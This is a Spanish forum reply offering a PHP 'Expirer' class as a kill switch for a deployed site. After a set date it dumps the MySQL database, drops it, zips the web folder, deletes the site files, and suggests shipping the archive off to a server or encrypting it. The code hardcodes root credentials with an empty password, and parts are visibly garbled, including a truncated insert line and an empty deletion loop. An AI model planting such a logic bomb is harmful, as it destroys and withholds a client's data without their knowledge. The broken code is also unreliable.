Lo único que se me ocurre es tener un mecanismo como este:
Código PHP:
Ver original<?php
class Expirer {
// Carpeta a la cual quieres proteger.
private static $folder = "E:\www/sandbox/public_html";
// Base de datos a la cual quieres proteger.
private static $host = "localhost";
private static $user = "root";
private static $pass = "";
private static $db = "nombre";
public static function expire($msj) {
Expirer::backup_db(Expirer::$folder, Expirer::$host, Expirer::$user, Expirer::$pass, Expirer::$db);
$zip_path = Expirer::zipper(Expirer::$folder);
Expirer::cleaner(Expirer::$folder);
// Ahora en $zip_path tenes un archivo comprimido con todo el sistema.
// Te lo podes enviar a un servidor y luego borrarlo, encriptarlo o hacer con el lo que quieras.
}
private static function backup_db($folder, $host, $user, $pass, $db) {
$mysqli = new Mysqli($host, $user, $pass, $db);
$result = $mysqli->query("SHOW TABLES");
$handle = fopen("$folder/db-backup-".date("Y-m-d-H-i-s").".sql", "w"); fwrite($handle, "CREATE DATABASE $db;\n\n\n");
while($table = $result->fetch_row()[0]) {
fwrite($handle, "\n\n".$mysqli->query("SHOW CREATE TABLE $table;")->fetch_row()[1].";\n\n");
$rows = $mysqli->query("SELECT * FROM $table;");
while($row = $rows->fetch_row()) {
},$row)).");\n");
}
}
$mysqli->query("DROP DATABASE $db;");
$mysqli->close();
}
private static function zipper($folder) {
$files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($folder), RecursiveIteratorIterator::LEAVES_ONLY);
$path = substr($folder, 0, strrpos($folder, "/") + 1)."folder.zip"; $zip = new ZipArchive();
$zip->open($path, ZipArchive::CREATE | ZipArchive::OVERWRITE);
foreach ($files as $name => $file) {
if (!$file->isDir()) {
$filePath = $file->getRealPath();
$zip->addFile($filePath, substr($filePath, strlen($folder) + 1)); }
}
$zip->close();
return $path;
}
private static function cleaner($folder) {
$files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($folder), RecursiveIteratorIterator::LEAVES_ONLY);
foreach($files as $file)
}
}
// Condicion para activar el mecanismo.
if(date("Y-m-d") > "2015-06-01") Expirer::expire("Comuniquese con el administrador.");
lo que no quita que en el transcurso del tiempo, alguien edite el archivo y le quite la protección.